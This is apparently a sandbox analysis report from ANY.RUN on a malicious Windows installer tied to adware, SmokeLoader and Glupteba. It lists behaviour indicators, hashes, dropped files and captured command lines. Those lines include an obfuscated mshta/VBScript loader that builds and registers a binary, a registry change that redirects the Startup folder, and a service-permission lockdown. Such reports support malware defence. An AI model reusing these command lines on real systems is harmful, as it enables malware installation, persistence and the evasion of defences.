File name:

setup_x86_x64_install.exe_3

Full analysis: https://app.any.run/tasks/b2b388f3-d05c-4971-a25d-b2ade4ee9f03
Verdict: Malicious activity
Threats:

Adware is a form of malware that targets users with unwanted advertisements, often disrupting their browsing experience. It typically infiltrates systems through software bundling, malicious websites, or deceptive downloads. Once installed, it may track user activity, collect sensitive data, and display intrusive ads, including pop-ups or banners. Some advanced adware variants can bypass security measures and establish persistence on devices, making removal challenging. Additionally, adware can create vulnerabilities that other malware can exploit, posing a significant risk to user privacy and system security.

Malware Trends Tracker     >>>
Analysis date: May 15, 2025, 13:34:47
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
adware
evasion
loader
smokeloader
delphi
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive, 5 sections
MD5:

AA581B1F07D2AB6BFFF3134A307CEC2E

SHA1:

DE449691F3489DD76B891434781B8753802EEE14

SHA256:

F114CBD90381A13D1F7FEE0FF09A52E238A4451DA70191A2ADECCBF84817C61A

SSDEEP:

393216:JYNGLHs1wNw6WIHSvvApTyNCROf2s3Ak:Jez1wu6WIHSQTOCk

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Adds path to the Windows Defender exclusion list

      • setup_install.exe (PID: 4040)
      • cmd.exe (PID: 4652)
      • Thu02d225322d4ec1.exe (PID: 1188)

    • Changes Windows Defender settings

      • cmd.exe (PID: 4652)
      • cmd.exe (PID: 2088)
      • Thu02d225322d4ec1.exe (PID: 1188)

    • Changes settings for reporting to Microsoft Active Protection Service (MAPS)

      • powershell.exe (PID: 6264)

    • Changes settings for sending potential threat samples to Microsoft servers

      • powershell.exe (PID: 6264)

    • Changes settings for real-time protection

      • powershell.exe (PID: 6264)

    • Executing a file with an untrusted certificate

      • Thu024ca9649258.exe (PID: 664)
      • Thu027a65efa25b.exe (PID: 7084)
      • Thu0254f37076fcd55fb.exe (PID: 6872)
      • Thu02f01df988c7.exe (PID: 7212)
      • Thu023dd5e6f6cce12f9.exe (PID: 7340)
      • Thu0254f37076fcd55fb.exe (PID: 4944)
      • Thu02f01df988c7.exe (PID: 2320)
      • Thu024ca9649258.exe (PID: 8020)
      • csrss.exe (PID: 4244)
      • tkools.exe (PID: 2136)
      • tkools.exe (PID: 1568)
      • tkools.exe (PID: 6640)
      • tkools.exe (PID: 7356)
      • Thu02d225322d4ec1.exe (PID: 7300)

    • Application was injected by another process

      • explorer.exe (PID: 5492)

    • Runs injected code in another process

      • Thu0251b4c93ad7bbff.exe (PID: 7424)

    • ADWARE has been detected (SURICATA)

      • Thu0234487e961.tmp (PID: 7356)

    • Modifies exclusions in Windows Defender

      • Thu024ca9649258.exe (PID: 8020)

    • Changes the autorun value in the registry

      • Thu024ca9649258.exe (PID: 8020)

    • Glupteba is detected

      • Thu024ca9649258.exe (PID: 8020)

    • Uses Task Scheduler to autorun other applications

      • csrss.exe (PID: 4244)

    • SMOKE has been detected (SURICATA)

      • explorer.exe (PID: 5492)

    • Uses Task Scheduler to run other applications

      • tkools.exe (PID: 2136)

  • SUSPICIOUS

    • Drops 7-zip archiver for unpacking

      • setup_x86_x64_install.exe_3.exe (PID: 5408)

    • Reads security settings of Internet Explorer

      • setup_x86_x64_install.exe_3.exe (PID: 5408)
      • setup_installer.exe (PID: 4944)
      • Thu02da05dae0713eb.exe (PID: 7200)
      • Thu0234487e961.tmp (PID: 7356)
      • Thu0247db132a8b.exe (PID: 7348)
      • Thu024bc696ba.tmp (PID: 7832)
      • HuYMRJYt.eXE (PID: 7592)
      • Thu02f01df988c7.exe (PID: 2320)
      • Thu0254f37076fcd55fb.exe (PID: 4944)

    • Executable content was dropped or overwritten

      • setup_x86_x64_install.exe_3.exe (PID: 5408)
      • setup_installer.exe (PID: 4944)
      • Thu0234487e961.exe (PID: 4300)
      • Thu024bc696ba.exe (PID: 7224)
      • Thu0234487e961.tmp (PID: 7356)
      • Thu024bc696ba.tmp (PID: 7516)
      • Thu024bc696ba.exe (PID: 7728)
      • Thu024bc696ba.tmp (PID: 7832)
      • cmd.exe (PID: 7556)
      • cmd.exe (PID: 7896)
      • Thu02f01df988c7.exe (PID: 2320)
      • Thu0254f37076fcd55fb.exe (PID: 4944)
      • Thu024ca9649258.exe (PID: 8020)
      • explorer.exe (PID: 5492)
      • csrss.exe (PID: 4244)

    • Starts CMD.EXE for commands execution

      • setup_install.exe (PID: 4040)
      • mshta.exe (PID: 2268)
      • mshta.exe (PID: 7880)
      • Thu024ca9649258.exe (PID: 8020)
      • mshta.exe (PID: 1328)
      • cmd.exe (PID: 7896)
      • cmd.exe (PID: 7620)
      • cmd.exe (PID: 7300)
      • Thu02f01df988c7.exe (PID: 2320)
      • cmd.exe (PID: 7764)
      • Thu0254f37076fcd55fb.exe (PID: 4944)
      • csrss.exe (PID: 4244)
      • cmd.exe (PID: 5084)
      • tkools.exe (PID: 2136)

    • Script adds exclusion path to Windows Defender

      • cmd.exe (PID: 4652)
      • Thu02d225322d4ec1.exe (PID: 1188)

    • The process hide an interactive prompt from the user

      • cmd.exe (PID: 4652)
      • cmd.exe (PID: 2088)

    • The executable file from the user directory is run by the CMD process

      • Thu024ca9649258.exe (PID: 664)
      • Thu0234487e961.exe (PID: 4300)
      • Thu02aea30bc802ab68.exe (PID: 6028)
      • Thu027a65efa25b.exe (PID: 7084)
      • Thu029178728a4f78d0a.exe (PID: 4988)
      • Thu02e68baa8dd93d.exe (PID: 7180)
      • Thu02f01df988c7.exe (PID: 7212)
      • Thu02acb863a216.exe (PID: 7192)
      • Thu02da05dae0713eb.exe (PID: 7200)
      • Thu024bc696ba.exe (PID: 7224)
      • Thu02bbe7aaca36e.exe (PID: 7276)
      • Thu0254f37076fcd55fb.exe (PID: 6872)
      • Thu02d225322d4ec1.exe (PID: 1188)
      • Thu02654d5746e2d67.exe (PID: 7388)
      • Thu0251b4c93ad7bbff.exe (PID: 7424)
      • Thu023dd5e6f6cce12f9.exe (PID: 7340)
      • Thu0247db132a8b.exe (PID: 7348)
      • HuYMRJYt.eXE (PID: 7592)

    • Script disables Windows Defender's real-time protection

      • cmd.exe (PID: 2088)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 2088)
      • cmd.exe (PID: 4652)
      • Thu02d225322d4ec1.exe (PID: 1188)

    • Reads the Windows owner or organization settings

      • Thu0234487e961.tmp (PID: 7356)
      • Thu024bc696ba.tmp (PID: 7516)
      • Thu024bc696ba.tmp (PID: 7832)

    • Process drops legitimate windows executable

      • Thu0234487e961.tmp (PID: 7356)
      • Thu024bc696ba.tmp (PID: 7516)
      • Thu024bc696ba.tmp (PID: 7832)

    • Reads the BIOS version

      • Thu027a65efa25b.exe (PID: 7084)

    • Application launched itself

      • Thu02da05dae0713eb.exe (PID: 7200)
      • Thu02f01df988c7.exe (PID: 7212)
      • Thu0254f37076fcd55fb.exe (PID: 6872)
      • Thu02aea30bc802ab68.exe (PID: 6028)
      • Thu024ca9649258.exe (PID: 664)
      • cmd.exe (PID: 7896)
      • cmd.exe (PID: 7300)
      • cmd.exe (PID: 7620)
      • cmd.exe (PID: 7764)
      • cmd.exe (PID: 5084)
      • tkools.exe (PID: 7356)
      • tkools.exe (PID: 1568)
      • Thu02d225322d4ec1.exe (PID: 1188)

    • Executes application which crashes

      • Thu023dd5e6f6cce12f9.exe (PID: 7340)
      • Thu0251b4c93ad7bbff.exe (PID: 7424)
      • Thu024ca9649258.exe (PID: 8020)

    • Runs shell command (SCRIPT)

      • mshta.exe (PID: 2268)
      • mshta.exe (PID: 7880)
      • mshta.exe (PID: 1328)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 7556)

    • Potential Corporate Privacy Violation

      • Thu029178728a4f78d0a.exe (PID: 4988)
      • svchost.exe (PID: 2196)
      • Thu02acb863a216.exe (PID: 7192)

    • Checks for external IP

      • Thu029178728a4f78d0a.exe (PID: 4988)
      • svchost.exe (PID: 2196)
      • Thu02e68baa8dd93d.exe (PID: 7180)
      • Thu02acb863a216.exe (PID: 7192)

    • Access to an unwanted program domain was detected

      • Thu0234487e961.tmp (PID: 7356)

    • Uses NETSH.EXE to add a firewall rule or allowed programs

      • cmd.exe (PID: 7724)

    • The process creates files with name similar to system file names

      • Thu024ca9649258.exe (PID: 8020)

    • Starts itself from another location

      • Thu024ca9649258.exe (PID: 8020)
      • Thu02f01df988c7.exe (PID: 2320)
      • Thu0254f37076fcd55fb.exe (PID: 4944)

    • Connects to unusual port

      • Thu027a65efa25b.exe (PID: 7084)
      • Thu02aea30bc802ab68.exe (PID: 8004)

    • Uses ICACLS.EXE to modify access control lists

      • cmd.exe (PID: 7620)
      • cmd.exe (PID: 2600)
      • cmd.exe (PID: 5228)
      • cmd.exe (PID: 7764)
      • cmd.exe (PID: 7300)
      • cmd.exe (PID: 5084)
      • cmd.exe (PID: 5772)
      • cmd.exe (PID: 4180)

    • Deletes scheduled task without confirmation

      • schtasks.exe (PID: 2340)

    • Windows service management via SC.EXE

      • sc.exe (PID: 7152)
      • sc.exe (PID: 7920)

    • Drops a system driver (possible attempt to evade defenses)

      • csrss.exe (PID: 4244)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 968)

    • Connects to the server without a host name

      • Thu02d225322d4ec1.exe (PID: 7300)

  • INFO

    • Create files in a temporary directory

      • setup_x86_x64_install.exe_3.exe (PID: 5408)
      • Thu024bc696ba.exe (PID: 7224)
      • HuYMRJYt.eXE (PID: 7592)
      • Thu0254f37076fcd55fb.exe (PID: 4944)

    • Reads the computer name

      • setup_x86_x64_install.exe_3.exe (PID: 5408)
      • setup_installer.exe (PID: 4944)
      • Thu029178728a4f78d0a.exe (PID: 4988)
      • Thu02f01df988c7.exe (PID: 7212)
      • Thu02aea30bc802ab68.exe (PID: 6028)
      • Thu02d225322d4ec1.exe (PID: 1188)
      • Thu0254f37076fcd55fb.exe (PID: 6872)
      • Thu02acb863a216.exe (PID: 7192)
      • Thu02da05dae0713eb.exe (PID: 7200)
      • Thu02654d5746e2d67.exe (PID: 7388)
      • Thu0234487e961.tmp (PID: 7356)
      • Thu024bc696ba.tmp (PID: 7516)
      • Thu027a65efa25b.exe (PID: 7084)
      • Thu02bbe7aaca36e.exe (PID: 7276)
      • Thu024bc696ba.tmp (PID: 7832)
      • Thu0247db132a8b.exe (PID: 7348)
      • Thu024ca9649258.exe (PID: 664)
      • HuYMRJYt.eXE (PID: 7592)
      • Thu0254f37076fcd55fb.exe (PID: 4944)
      • Thu02aea30bc802ab68.exe (PID: 8004)
      • csrss.exe (PID: 4244)

    • Checks supported languages

      • setup_x86_x64_install.exe_3.exe (PID: 5408)
      • setup_installer.exe (PID: 4944)
      • setup_install.exe (PID: 4040)
      • Thu0234487e961.exe (PID: 4300)
      • Thu0254f37076fcd55fb.exe (PID: 6872)
      • Thu02e68baa8dd93d.exe (PID: 7180)
      • Thu02d225322d4ec1.exe (PID: 1188)
      • Thu02f01df988c7.exe (PID: 7212)
      • Thu02aea30bc802ab68.exe (PID: 6028)
      • Thu029178728a4f78d0a.exe (PID: 4988)
      • Thu024ca9649258.exe (PID: 664)
      • Thu02da05dae0713eb.exe (PID: 7200)
      • Thu024bc696ba.exe (PID: 7224)
      • Thu0247db132a8b.exe (PID: 7348)
      • Thu02acb863a216.exe (PID: 7192)
      • Thu023dd5e6f6cce12f9.exe (PID: 7340)
      • Thu02654d5746e2d67.exe (PID: 7388)
      • Thu024bc696ba.tmp (PID: 7516)
      • Thu0251b4c93ad7bbff.exe (PID: 7424)
      • Thu0234487e961.tmp (PID: 7356)
      • Thu027a65efa25b.exe (PID: 7084)
      • Thu024bc696ba.exe (PID: 7728)
      • Thu02bbe7aaca36e.exe (PID: 7276)
      • Thu024bc696ba.tmp (PID: 7832)
      • Thu02da05dae0713eb.exe (PID: 7752)
      • HuYMRJYt.eXE (PID: 7592)
      • Thu024ca9649258.exe (PID: 8020)
      • Thu0254f37076fcd55fb.exe (PID: 4944)
      • Thu02aea30bc802ab68.exe (PID: 8004)
      • csrss.exe (PID: 4244)
      • Thu02f01df988c7.exe (PID: 2320)

    • The sample compiled with english language support

      • setup_x86_x64_install.exe_3.exe (PID: 5408)
      • setup_installer.exe (PID: 4944)
      • Thu0234487e961.tmp (PID: 7356)
      • Thu024bc696ba.tmp (PID: 7516)
      • Thu024bc696ba.tmp (PID: 7832)
      • cmd.exe (PID: 7896)
      • csrss.exe (PID: 4244)

    • Process checks computer location settings

      • setup_x86_x64_install.exe_3.exe (PID: 5408)
      • setup_installer.exe (PID: 4944)
      • Thu02da05dae0713eb.exe (PID: 7200)
      • Thu02bbe7aaca36e.exe (PID: 7276)
      • HuYMRJYt.eXE (PID: 7592)
      • Thu0254f37076fcd55fb.exe (PID: 4944)
      • Thu02f01df988c7.exe (PID: 2320)

    • Reads Environment values

      • Thu029178728a4f78d0a.exe (PID: 4988)

    • Disables trace logs

      • Thu029178728a4f78d0a.exe (PID: 4988)

    • Checks proxy server information

      • Thu029178728a4f78d0a.exe (PID: 4988)
      • Thu0234487e961.tmp (PID: 7356)
      • Thu0247db132a8b.exe (PID: 7348)
      • Thu02acb863a216.exe (PID: 7192)
      • Thu024bc696ba.tmp (PID: 7832)

    • Reads the machine GUID from the registry

      • Thu029178728a4f78d0a.exe (PID: 4988)
      • Thu02d225322d4ec1.exe (PID: 1188)
      • Thu024ca9649258.exe (PID: 664)
      • Thu02aea30bc802ab68.exe (PID: 6028)
      • Thu02da05dae0713eb.exe (PID: 7752)
      • Thu0254f37076fcd55fb.exe (PID: 6872)
      • Thu02f01df988c7.exe (PID: 7212)
      • Thu027a65efa25b.exe (PID: 7084)
      • Thu02acb863a216.exe (PID: 7192)
      • Thu0247db132a8b.exe (PID: 7348)
      • Thu02aea30bc802ab68.exe (PID: 8004)
      • csrss.exe (PID: 4244)

    • Process checks whether UAC notifications are on

      • Thu027a65efa25b.exe (PID: 7084)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 7880)
      • mshta.exe (PID: 2268)

    • Creates files or folders in the user directory

      • Thu0247db132a8b.exe (PID: 7348)
      • WerFault.exe (PID: 8068)
      • WerFault.exe (PID: 8104)

    • Reads the software policy settings

      • Thu02acb863a216.exe (PID: 7192)
      • Thu0247db132a8b.exe (PID: 7348)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 6264)
      • powershell.exe (PID: 4208)

    • Compiled with Borland Delphi (YARA)

      • conhost.exe (PID: 5640)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (67.4)
.dll | Win32 Dynamic Link Library (generic) (14.2)
.exe | Win32 Executable (generic) (9.7)
.exe | Generic Win/DOS Executable (4.3)
.exe | DOS Executable Generic (4.3)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2020:08:01 02:44:18+00:00
ImageFileCharacteristics: No relocs, Executable, No line numbers, No symbols, 32-bit
PEType: PE32
LinkerVersion: 6
CodeSize: 26112
InitializedDataSize: 141824
UninitializedDataSize: 2048
EntryPoint: 0x35d8
OSVersion: 4
ImageVersion: 6
SubsystemVersion: 4
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
268
Monitored processes
133
Malicious processes
31
Suspicious processes
15

Behavior graph

Click at the process to see the details
start setup_x86_x64_install.exe_3.exe setup_installer.exe setup_install.exe no specs conhost.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe no specs powershell.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs thu0234487e961.exe cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs thu024ca9649258.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs thu02aea30bc802ab68.exe no specs thu027a65efa25b.exe thu029178728a4f78d0a.exe thu0254f37076fcd55fb.exe no specs thu02d225322d4ec1.exe no specs thu02e68baa8dd93d.exe thu02acb863a216.exe thu02da05dae0713eb.exe no specs thu02f01df988c7.exe no specs thu024bc696ba.exe thu02bbe7aaca36e.exe no specs thu023dd5e6f6cce12f9.exe thu0247db132a8b.exe #ADWARE thu0234487e961.tmp thu02654d5746e2d67.exe no specs thu0251b4c93ad7bbff.exe thu024bc696ba.tmp thu024bc696ba.exe svchost.exe thu02da05dae0713eb.exe conhost.exe no specs thu024bc696ba.tmp mshta.exe no specs werfault.exe no specs cmd.exe conhost.exe no specs huymrjyt.exe no specs taskkill.exe no specs mshta.exe no specs cmd.exe no specs conhost.exe no specs thu02f01df988c7.exe werfault.exe no specs thu0254f37076fcd55fb.exe thu02aea30bc802ab68.exe no specs mshta.exe no specs cmd.exe conhost.exe no specs cmd.exe no specs cmd.exe no specs odbcconf.exe no specs #GLUPTEBA thu024ca9649258.exe cmd.exe no specs conhost.exe no specs netsh.exe no specs thu02aea30bc802ab68.exe cmd.exe no specs conhost.exe no specs cmd.exe no specs cacls.exe no specs csrss.exe cmd.exe no specs conhost.exe no specs werfault.exe no specs cmd.exe no specs cacls.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs cacls.exe no specs cacls.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs cmd.exe no specs cacls.exe no specs conhost.exe no specs cmd.exe no specs cacls.exe no specs cmd.exe no specs conhost.exe no specs tkools.exe no specs cacls.exe no specs cmd.exe no specs conhost.exe no specs tkools.exe no specs schtasks.exe no specs tkools.exe conhost.exe no specs schtasks.exe no specs cacls.exe no specs conhost.exe no specs tkools.exe no specs mountvol.exe no specs conhost.exe no specs mountvol.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs reg.exe no specs schtasks.exe no specs conhost.exe no specs #SMOKE explorer.exe powershell.exe no specs thu02d225322d4ec1.exe conhost.exe no specs slui.exe no specs setup_x86_x64_install.exe_3.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
664Thu024ca9649258.exe C:\Users\admin\AppData\Local\Temp\7zS05349FD0\Thu024ca9649258.exe—cmd.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\7zs05349fd0\thu024ca9649258.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\acgenral.dll
812C:\WINDOWS\system32\cmd.exe /c Thu0247db132a8b.exe C:\Windows\SysWOW64\cmd.exe—setup_install.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\acgenral.dll
968"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\admin\AppData\Local\Temp\6829558ede\C:\Windows\SysWOW64\cmd.exe—tkools.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\acgenral.dll
1056cmd.exe /C sc sdset Winmon D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)C:\Windows\SysWOW64\cmd.exe—csrss.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
1188Thu02d225322d4ec1.exe C:\Users\admin\AppData\Local\Temp\7zS05349FD0\Thu02d225322d4ec1.exe—cmd.exe
User:
admin
Company:
www.codeplex.com/Cradiator
Integrity Level:
HIGH
Description:
Cradiator
Exit code:
0
Version:
2.8.0.0
Modules
Images
c:\users\admin\appdata\local\temp\7zs05349fd0\thu02d225322d4ec1.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
1240\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1280C:\WINDOWS\system32\cmd.exe /c Thu029178728a4f78d0a.exe C:\Windows\SysWOW64\cmd.exe—setup_install.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\acgenral.dll
1328"C:\Windows\System32\mshta.exe" VbSCRiPt: close ( crEATeOBject ( "WsCrIpt.SHeLl" ). rUN ( "CMD.exe /q /r eChO S0gNC:\Users\admin\AppData\Local\TempW23wd> Uoi5KC.F & eChO | set /p = ""MZ"" > RI3R.h& COPY /b /Y RI3r.h + TDbHoF6.Nei + wN0W5.1x + AXWt.P2o +PH3tc.1_ + wGtRI.AM +UOi5kC.F ..\CZ_EN.~Fx & dEl /q *& staRT odbcconf.exe -a { rEgsvr ..\CZ_EN.~FX } " , 0 ,TruE ) )C:\Windows\SysWOW64\mshta.exe—HuYMRJYt.eXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\advapi32.dll
1532C:\WINDOWS\system32\cmd.exe /c Thu02bbe7aaca36e.exe C:\Windows\SysWOW64\cmd.exe—setup_install.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\acgenral.dll
1568\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
43 027
Read events
42 881
Write events
132
Delete events
14

Modification events

(PID) Process:(5492) explorer.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\5\ApplicationViewManagement\W32:0000000000080288
Operation:writeName:VirtualDesktop
Value:
1000000030304456BFA0DB55E4278845B426357D5B5F97B3
(PID) Process:(7356) Thu0234487e961.tmpKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\RestartManager\Session0001
Operation:writeName:Owner
Value:
BC1C0000A623C2299EC5DB01
(PID) Process:(7356) Thu0234487e961.tmpKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\RestartManager\Session0001
Operation:writeName:SessionHash
Value:
8C3E33652F7455C2AC9A39C2B1293AC095123408BF7CA627BA4FF09B0CAE0D95
(PID) Process:(7356) Thu0234487e961.tmpKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\RestartManager\Session0001
Operation:writeName:Sequence
Value:
1
(PID) Process:(4988) Thu029178728a4f78d0a.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Thu029178728a4f78d0a_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(4988) Thu029178728a4f78d0a.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Thu029178728a4f78d0a_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(4988) Thu029178728a4f78d0a.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Thu029178728a4f78d0a_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(4988) Thu029178728a4f78d0a.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Thu029178728a4f78d0a_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(4988) Thu029178728a4f78d0a.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Thu029178728a4f78d0a_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(4988) Thu029178728a4f78d0a.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\Thu029178728a4f78d0a_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
Executable files
46
Suspicious files
19
Text files
16
Unknown types
2

Dropped files

PID
Process
Filename
Type
5408setup_x86_x64_install.exe_3.exeC:\Users\admin\AppData\Local\Temp\nsjC084.tmp —
MD5:—
SHA256:—
4944setup_installer.exeC:\Users\admin\AppData\Local\Temp\7zS05349FD0\Thu0234487e961.exeexecutable
MD5:DBB452A6E23A87C9E921D80A4AC5E126
SHA256:2E6F21B613F37742B07A9F44E019DA74F7119D25BC67721D07C113C7194CB990
5408setup_x86_x64_install.exe_3.exeC:\Users\admin\AppData\Local\Temp\setup_installer.exeexecutable
MD5:74918A59BD0BAB3C05A60D3977515005
SHA256:8086D26336B639312A32E4F3D4754CF6C41CAD501F3E84042250E4717886F929
4944setup_installer.exeC:\Users\admin\AppData\Local\Temp\7zS05349FD0\libcurlpp.dllexecutable
MD5:E6E578373C2E416289A8DA55F1DC5E8E
SHA256:43E86D650A68F1F91FA2F4375AFF2720E934AA78FA3D33E06363122BF5A9535F
4944setup_installer.exeC:\Users\admin\AppData\Local\Temp\7zS05349FD0\libwinpthread-1.dllexecutable
MD5:1E0D62C34FF2E649EBC5C372065732EE
SHA256:509CB1D1443B623A02562AC760BCED540E327C65157FFA938A22F75E38155723
4944setup_installer.exeC:\Users\admin\AppData\Local\Temp\7zS05349FD0\Thu020afc6240.exeexecutable
MD5:C2FC727CBD15A486F072DD39B297F6E5
SHA256:6686BB43F616DEF6B1C505186FC545828FA31D912E6F0FFE128134E7C01BB3D2
